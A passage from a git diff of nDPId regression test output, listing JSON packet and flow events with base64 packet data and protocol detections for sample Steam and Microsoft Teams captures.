+00451{"flow_id":40,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":291495,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWUUAAIARDl7Qb4VUwKi8lWmKsmEANGnGVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAD\/WHUH0BAAA="} +00451{"flow_id":51,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":310175,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWUYAAIARquBEjnSywKi8lWmJsmEANI39VlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAA\/x7bdLIAAAA="} +00450{"flow_id":50,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":330124,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWUcAAIAR3b5IpT28wKi8lWmKsmEANK1cVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAARbG1YaUAAAA="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":87,"source":"steam.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1357332165337,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"146.66.152.14","src_port":45665,"dst_port":27018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":53,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":337053,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARkx7AqLyVkkKYDrJhaYoALLOQVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":87,"source":"steam.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1357332165337,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"146.66.152.14","src_port":45665,"dst_port":27018,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":88,"source":"steam.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1357332165337,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"69.28.145.171","src_port":45665,"dst_port":27018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":54,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":337468,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEAR5qfAqLyVRRyRq7JhaYoALAcaVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":88,"source":"steam.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1357332165337,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"69.28.145.171","src_port":45665,"dst_port":27018,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":89,"source":"steam.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1357332165337,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"72.165.61.176","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":55,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":337861,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARNxrAqLyVSKU9sLJhaYkALFeNVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":89,"source":"steam.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1357332165337,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"72.165.61.176","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00450{"flow_id":41,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":344423,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWUgAAIARDlrQb4VVwKi8lWmJsmEANOC5VlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAApkPUDiMBAAA="} +00450{"flow_id":54,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":91,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":370602,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWUkAAIARjVZFHJGrwKi8lWmKsmEANABlVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAZ1y1R+AAAAA="} +00450{"flow_id":55,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":375115,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWUoAAIAR3cdIpT2wwKi8lWmJsmEANEZJVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAApDC7AqgAAAA="} +00450{"flow_id":45,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":424526,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWUsAAIAROcySQpgNwKi8lWmLsmEANOxHVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAyRIwJMQBAAA="} +00450{"flow_id":47,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":425182,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWUwAAIAROcmSQpgPwKi8lWmJsmEANKyjVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAEZL3SfQAAAA="} +00450{"flow_id":53,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":520263,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWU0AAIAROcmSQpgOwKi8lWmKsmEANHO2VlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAoWZRYkMBAAA="} +00446{"flow_id":50,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":586753,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AFBW4RiuAAwp3FvtCABFAABEAABAAEARNwrAqLyVSKU9vLJhaYoAMEhAVlMwMQQAAwQABgAAAAAAAAEAAAABAAAAAQAAAAEAAAAEAAAAbm6TxQ=="} +00438{"flow_id":50,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":619306,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AAwp3FvtAFBW4RiuCABFAABAWU4AAIAR3b9IpT28wKi8lWmKsmEALKNoVlMwMQAABAQAwKtTAAYAAAIAAAABAAAAAQAAAAIAAAAAAAAA"} +00500{"flow_id":50,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":620102,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"AAwp3FvtAFBW4RiuCABFAABcWU8AAIAR3aJIpT28wKi8lWmKsmEASE4rVlMwMRwABgQAwKtTAAYAAAMAAAABAAAAAQAAAAMAAAAcAAAAFwUAAP\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8BAAAAAQAAAA=="} +00683{"flow_id":50,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":637364,"pkt_caplen":242,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":242,"pkt_l4_len":208,"pkt":"AFBW4RiuAAwp3FvtCABFAADkAABAAEARNmrAqLyVSKU9vLJhaYoA0FrvVlMwMaQABgQABgAAAMCrUwIAAAADAAAAAQAAAAIAAACkAAAAGAUAAP\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8BAAAAgAAAALjQKcnVpX5ZsHLgWMFYHpMNlyE7kv2QLc3bIsInivgyulqOTPFqDN5YeodQV\/lg4xPRHRfJucNPORh2Blfi4A271PpqM2FNET81d+SrKuqOL8CAXtsdyMM0QmAC20wP4pFrbllieB6gPhGbfPCJ5IHav\/mVL6qCSZoGTn07WdXGbHZhFAAAAAA="} +00493{"flow_id":50,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":732261,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"AAwp3FvtAFBW4RiuCABFAABYWVAAAIAR3aVIpT28wKi8lWmKsmEARFIzVlMwMRgABgQAwKtTAAYAAAQAAAACAAAAAQAAAAQAAAAYAAAAGQUAAP\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8BAAAA"} +00831{"flow_id":50,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":735858,"pkt_caplen":366,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":366,"pkt_l4_len":332,"pkt":"AFBW4RiuAAwp3FvtCABFAAFgAABAAEARNe7AqLyVSKU9vLJhaYoBTBPvVlMwMSABBgQABgAAAMCrUwMAAAAEAAAAAQAAAAMAAAAgAQAAKgqb75v5BLDc2N9lyxb0kZ55hQ4MJ9rfWt6TMLPx9Entnu87ndiLUO16TDuAZ4CjcqoN\/\/ecOJ0TLYAOqAvrakgEFfYZLRhZ6iC5i8DNCz34iuG06ftYqElNgiwu4LpqYFxR72yI+z63zDVBqE6PPXfFD5x3RpGc0hrpN4emVQBaQT1dn8fxpuWnBeIcjZtDPGuiLP5HVLs44u+PIsVZY1h3bP2goxeRqnhMcTHY\/2MCXIwgtEuT44fLgtmw7XKNYgAvY31hzOHvf0W\/bGHxEpkg8UnGhk4xRwg9iByyFWR8AXKjqvgPeod9bRwjuHKTwjozwxGHM3bkjGQ5C4Nun\/VecZdFU57AA+2wgi45BnE1bx7Z9WMdBe3JAdu1s+8+"} +00551{"flow_id":50,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":949380,"pkt_caplen":158,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":158,"pkt_l4_len":124,"pkt":"AAwp3FvtAFBW4RiuCABFAACQWVEAAIAR3WxIpT28wKi8lWmKsmEAfEkXVlMwMVAABgQAwKtTAAYAAAUAAAADAAAAAQAAAAUAAABQAAAAgux1ympnhlJKXy0zvwqCQYTlqRzT2LWXTXvx\/11gCr4VUXaqpbhFIulso4n7wIJQpJ1kPnewIgY2tvvA5o3XJWewqSsndHrQTTMCTo8TCAM="} +00440{"flow_id":50,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":950083,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AAwp3FvtAFBW4RiuCABFAABAWVIAAIAR3btIpT28wKi8lWmKsmEALJhoVlMwMQAABQQAwKtTAAYAAAYAAAADAAAAAQAAAAYAAAAAAAAA"} +00440{"flow_id":50,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332165,"pkt_ts_usec":983077,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARNw7AqLyVSKU9vLJhaYoALKBoVlMwMQAABwQABgAAAMCrUwAAAAAGAAAAAAAAAAAAAAAAAAAA"} diff --git a/test/results/teams.pcap.out b/test/results/teams.pcap.out new file mode 100644 index 000000000..a8c89262c --- /dev/null +++ b/test/results/teams.pcap.out @@ -0,0 +1,1033 @@ +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"teams.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1587041672419,"flow_last_seen":0,"flow_tot_l4_data_len":287,"flow_min_l4_data_len":287,"flow_max_l4_data_len":287,"flow_avg_l4_data_len":287,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.1","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00777{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041672,"pkt_ts_usec":419153,"pkt_caplen":321,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":321,"pkt_l4_len":287,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWrCABFAAEzES1AAEARZ+TAqAAB\/\/\/\/\/wBEAEMBHwAAAQEGABgr52AAAIAAAAAAAAAAAAAAAAAAAAAAANgNF9ZVqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwIBAwwJVEwtU0cxMTZFPAlUTC1TRzExNkU9BwHYDRfWVav\/"} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"teams.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1587041672419,"flow_last_seen":0,"flow_tot_l4_data_len":287,"flow_min_l4_data_len":287,"flow_max_l4_data_len":287,"flow_avg_l4_data_len":287,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.1","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":"1,3"}} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041672,"pkt_ts_usec":611330,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2,"source":"teams.pcap","alias":"nDPId-test","type":38} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"teams.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1587041673094,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"149.154.167.91","src_port":58533,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00419{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041673,"pkt_ts_usec":94451,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGPCDAqAEGlZqnW+SlAbsZTPC7DAoX94ARECZ4MwAAAQEICjCEirAtAPMf"} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041673,"pkt_ts_usec":412435,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00155{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":4,"source":"teams.pcap","alias":"nDPId-test","type":34969} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041673,"pkt_ts_usec":611235,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":5,"source":"teams.pcap","alias":"nDPId-test","type":38} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041674,"pkt_ts_usec":611244,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":6,"source":"teams.pcap","alias":"nDPId-test","type":38} +00420{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041675,"pkt_ts_usec":216685,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGPCDAqAEGlZqnW+SlAbsZTPC7DAoX94ARECZv6wAAAQEICjCEkvgtAPMf"} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041675,"pkt_ts_usec":409077,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00155{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":8,"source":"teams.pcap","alias":"nDPId-test","type":34969} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041675,"pkt_ts_usec":611218,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00152{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":9,"source":"teams.pcap","alias":"nDPId-test","type":38} +00467{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":10,"source":"teams.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1587041675997,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":60813,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041675,"pkt_ts_usec":997451,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"EBMx8Tl2KDc3AG3ICABFAABPKfkAAP8RDk3AqAEGwKgBAe2NADUAO4czzp0BAAABAAAAAAAAFHNreXBlZGF0YXByZGNvbG5ldTA0CGNsb3VkYXBwA25ldAAAAQAB"} +00647{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":10,"source":"teams.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1587041675997,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":60813,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"skypedataprdcolneu04.cloudapp.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00482{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":10607,"pkt_caplen":109,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":109,"pkt_l4_len":75,"pkt":"KDc3AG3IEBMx8Tl2CABFAABfTWlAADkRcM3AqAEBwKgBBgA17Y0ASwAAzp2BgAABAAEAAAAAFHNreXBlZGF0YXByZGNvbG5ldTA0CGNsb3VkYXBwA25ldAAAAQABwAwAAQABAAAACQAENHJNIQ=="} +00673{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":11,"source":"teams.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":2,"flow_first_seen":1587041675997,"flow_last_seen":1587041676010,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":59,"flow_max_l4_data_len":75,"flow_avg_l4_data_len":67,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":60813,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"skypedataprdcolneu04.cloudapp.net","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.114.77.33"}} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":12,"source":"teams.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1587041676362,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60532,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 